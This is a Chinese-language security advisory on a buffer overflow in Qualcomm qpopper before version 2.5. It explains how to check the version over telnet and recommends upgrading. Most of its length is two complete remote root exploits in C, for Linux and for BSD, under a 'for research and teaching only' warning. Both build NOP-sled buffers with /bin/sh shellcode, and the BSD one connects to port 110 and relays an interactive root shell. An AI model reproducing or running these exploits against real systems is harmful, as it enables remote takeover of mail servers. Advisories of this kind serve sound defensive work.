发布日期：1998-06-27
更新日期：1999-05-13

受影响系统：

Linux
*BSD
SCO

描述：

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在版本低于2.5的Qualcomm的qpopper程序中包含有一个缓冲区溢出漏洞。
有可能导致远程攻击者在运行了该版本的qpopper的主机上执行任意命令。

为了检测是否您的版本是有弱点的，telnet到可能有问题的主机的110端口。
主机显示的信息将告诉你正在运行的pop服务器的版本，例如；

% telnet yourmailhost.your.domain.com 110
Trying 123.123.123.123
Connected to mailhost
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting

如果你发现显示的版本低于2.5(包括2.5beta版),你应该立刻更新到最新版本

Qpop没有正确检查用户输入的pop命令的长度,比如USER,PASS等等。用户可能
提供一个超过1024字节长的命令导致缓冲区溢出。


测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

针对Linux:
----------------------------------------------------------------------------------
/* Exploit for qpopper 2.4 (and others) for Linux
*   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
*
*  usage: (./qpopper <offset>;cat)|nc <victim> 110
*       with offset around 1000 (try increments of 50)
*
*
*    shout outs to: Zef and YZF
*/

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";

unsigned long esp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int i,j,offset;
  unsigned long eip;
  char buffer[4096];

  j=0;
  offset=atoi(argv[1]);
  eip=esp()+offset;
  for(i=0;i<1008;i++) buffer[i]=0x90;
  for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

  i=1005;
  buffer[i]=eip & 0xff;
  buffer[i+1]=(eip >> 8) & 0xff;
  buffer[i+2]=(eip >> 16) & 0xff;
  buffer[i+3]=(eip >> 24) & 0xff;

  printf("%s\nsh -i\n",buffer);
}

----------------------------------------------------------------------------------
针对BSD:
----------------------------------------------------------------------------------
/*
*      QPOPPER - remote root exploit
*      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
*
*              - tested against: FreeBSD 3.0
*                                FreeBSD 2.2.x
*                                BSDI BSD/OS 2.1
*              - offsets: FreeBSD with qpopper 2.3 - 2.4    0
*                         FreeBSD with qpopper 2.1.4-R3     900
*                         BSD/OS  with qpopper 2.1.4-R3     1500
*
*      this is for EDUCATIONAL purposes ONLY
*/

#include        <stdio.h>
#include        <stdlib.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <unistd.h>
#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>

#include        <sys/errno.h>

char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
            "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
            "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
            "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
            "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
            "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define ADDR 0xefbfd504
#define OFFSET 0
#define BUFLEN 1200

char    buf[BUFLEN];
int     offset=OFFSET;

int     sock;
struct  sockaddr_in sa;
struct  hostent *hp;

void main (int argc, char *argv[]) {
        int i;

        if(argc<2) {
                printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
                exit(0);
        }
        if(argc>2)
                offset=atoi(argv[2]);

        /* Prepare buffer */
        memset(buf,0x90,BUFLEN);
        memcpy(buf+800,shell,strlen(shell));
        for(i=901;i<BUFLEN-4;i+=4)
                *(int *)&buf[i]=ADDR+offset;
        buf[BUFLEN]='\n';

        /* Resolve remote hostname & connect*/
        if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                perror("gethostbyname()");
                exit(0);
        }

        if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                perror("socket()");
                exit(0);
        }
        sa.sin_family=AF_INET;
        sa.sin_port=htons(110);
        memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                perror("connect()");
                exit(0);
        }
        printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
        /* Write evil data */
        write(sock,buf,strlen(buf));

        /* Enjoy root shell ;) */
        while(1) {
                fd_set input;

                FD_SET(0,&input);
                FD_SET(sock,&input);
                if((select(sock+1,&input,NULL,NULL,NULL))<0) {
                        if(errno==EINTR) continue;
                        printf("CONNECTION CLOSED...\n"); fflush(stdout);
                        exit(1);
                }
                if(FD_ISSET(sock,&input))
                        write(1,buf,read(sock,buf,BUFLEN));
                if(FD_ISSET(0,&input))
                        write(sock,buf,read(0,buf,BUFLEN));
        }
}
----------------------------------------------------------------------------------



建议：

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升级到最新的QPOP版本.
最新的QPOP包可以从下列地址获得:
       ftp://ftp.qualcomm.com/

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